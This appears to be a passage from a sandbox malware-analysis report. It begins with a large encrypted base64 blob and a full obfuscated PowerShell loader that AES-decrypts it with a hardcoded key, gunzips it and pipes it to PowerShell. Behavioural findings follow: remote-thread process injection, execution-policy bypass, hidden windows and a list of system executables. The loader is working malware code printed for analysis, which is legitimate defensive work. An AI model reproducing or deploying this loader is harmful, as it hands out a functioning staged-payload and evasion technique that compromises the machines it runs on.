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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell -
Process injection Process 2608 resumed a thread in remote process 2696
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000000000000370
suspend_count: 1
process_identifier: 2696
1 0 0
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe